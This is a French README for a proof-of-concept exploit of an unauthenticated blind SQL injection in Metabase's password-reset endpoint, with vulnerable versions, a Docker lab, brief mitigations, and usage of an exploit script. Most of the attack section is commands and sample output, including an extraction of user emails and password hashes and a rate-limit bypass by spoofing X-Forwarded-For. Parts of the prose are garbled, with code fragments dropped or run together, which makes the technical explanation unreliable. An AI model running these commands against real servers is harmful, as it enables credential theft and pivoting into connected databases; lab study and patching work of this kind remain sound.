
Exploit d'injection SQL aveugle non authentifiée pour Metabase, exploitant une injection SQL brute dans le point de terminaison de réinitialisation de mot de passe pour extraire des données via des techniques basées sur le temps.
★ CVE-2026-72898 PoC d'injection SQL aveugle non authentifiée dans /api/session/reset_password de Metabase ★
https://github.com/user-attachments/assets/4efe5ae3-2a41-4567-815b-ee3f731a5a59
CVE-2026-72898 est une injection SQL non authentifiée dans Metabase (CVSS 10.0) accessible via le point de terminaison public
POST /api/session/reset_password. Le point de terminaison fusionne le corps de la requête avec le résultat d'authentification (échoué) —(merge request (authenticate ...))— de sorte qu'un champuser-idfourni par l'attaquant survit intact et atteint la recherche d'utilisateur de la base de données applicativet2/select-one :model/User :id user-id. Metabase construit le SQL avec , dont la map est compilée comme un (sans liaison de paramètres). Envoyer comme injecte donc du SQL arbitraire dans la base de données applicative. Le point de terminaison renvoie toujours , donc l'injection est ; les données sont récupérées avec (la base de données applicative Postgres standard en production). Une exploitation réussie permet d'obtenir les données administrateur de Metabase, les identifiants de connexion stockés pour chaque source de données attachée, et un pivot complet vers ces bases de données.
{:raw "..."}user-id{"raw":"<SQL>"}400pg_sleep| Catégorie | Version |
|---|---|
| Vulnérables | Metabase (OSS 0.x / EE 1.x) v58.0 – v58.23, v59.0 – v59.20, v60.0 – v60.16, v61.0 – v61.10, v62.0 – v62.8, v63.0 – v63.4 |
| Corrigées | v58.24 / v59.21 / v60.17 / v61.11 / v62.9 / v63.5 ou ultérieures |
pos-int? afin qu'un user-id non entier soit refusé avant la requêteConstruisez et exécutez la version vulnérable de Metabase. Elle utilise une base de données applicative Postgres (requise — la
technique par temporisation nécessite pg_sleep, que H2 ne possède pas) et complète automatiquement la configuration initiale afin qu'elle
démarre sur une page de connexion. Le démarrage prend environ 40 à 60 secondes.
docker build -t cve-2026-72898 .
docker run -d --name cve-2026-72898 --shm-size 256m -p 3000:3000 cve-2026-72898
| Précondition | État dans ce laboratoire |
|---|---|
| Metabase v58 – v63.4 | v0.62.1 |
Base de données applicative Postgres (active pg_sleep) | incluse dans l'image |
/api/session/reset_password accessible sans authentification | exposé |
| Limitation de réinitialisation par IP (contournée en faisant varier X-Forwarded-For) | MB_SOURCE_ADDRESS_HEADER=X-Forwarded-For |
L'exploit metabase_exploit.py lit toute valeur que vous lui indiquez, sans identifiants, en utilisant
la primitive aveugle par temporisation. Il envoie un X-Forwarded-For aléatoire à chaque requête pour contourner la
limitation de débit par IP (comme le faisaient les attaques observées dans la nature). Choisissez la cible avec --extract "<SQL>".
# par défaut : extraire l'e-mail administrateur
python3 metabase_exploit.py 172.17.0.2:3000
# extraire ce que vous voulez (toute expression SQL scalaire)
python3 metabase_exploit.py 172.17.0.2:3000 --extract "version()"
python3 metabase_exploit.py 172.17.0.2:3000 --extract "(SELECT string_agg(email||':'||password, ',') FROM core_user)"
[*] cible http://172.17.0.2:3000/api/session/reset_password
[*] extraction (SELECT email FROM core_user ORDER BY id LIMIT 1)
[*] longueur = 15 ; extraction ...
[ 1] a
[ 2] ad
...
[ 15] [email protected]
[+] EXTRAIT : [email protected]
Options :
--check — confirme uniquement que l'injection est exploitable (affiche la différence de temps pg_sleep)--extract "<SQL>" — toute expression SQL scalaire (convertie automatiquement en texte)--sleep 0.4 — délai par bit TRUE (augmentez-le sur une cible lente/à distance)POST /api/session/reset_password au niveau d'un proxy/WAFcore_session), vérifiez les comptes administrateur et les clés API, et faites pivoter les identifiants de connexion de chaque source de données attachée (supposez qu'ils ont été exposés si le point de terminaison était accessible depuis Internet)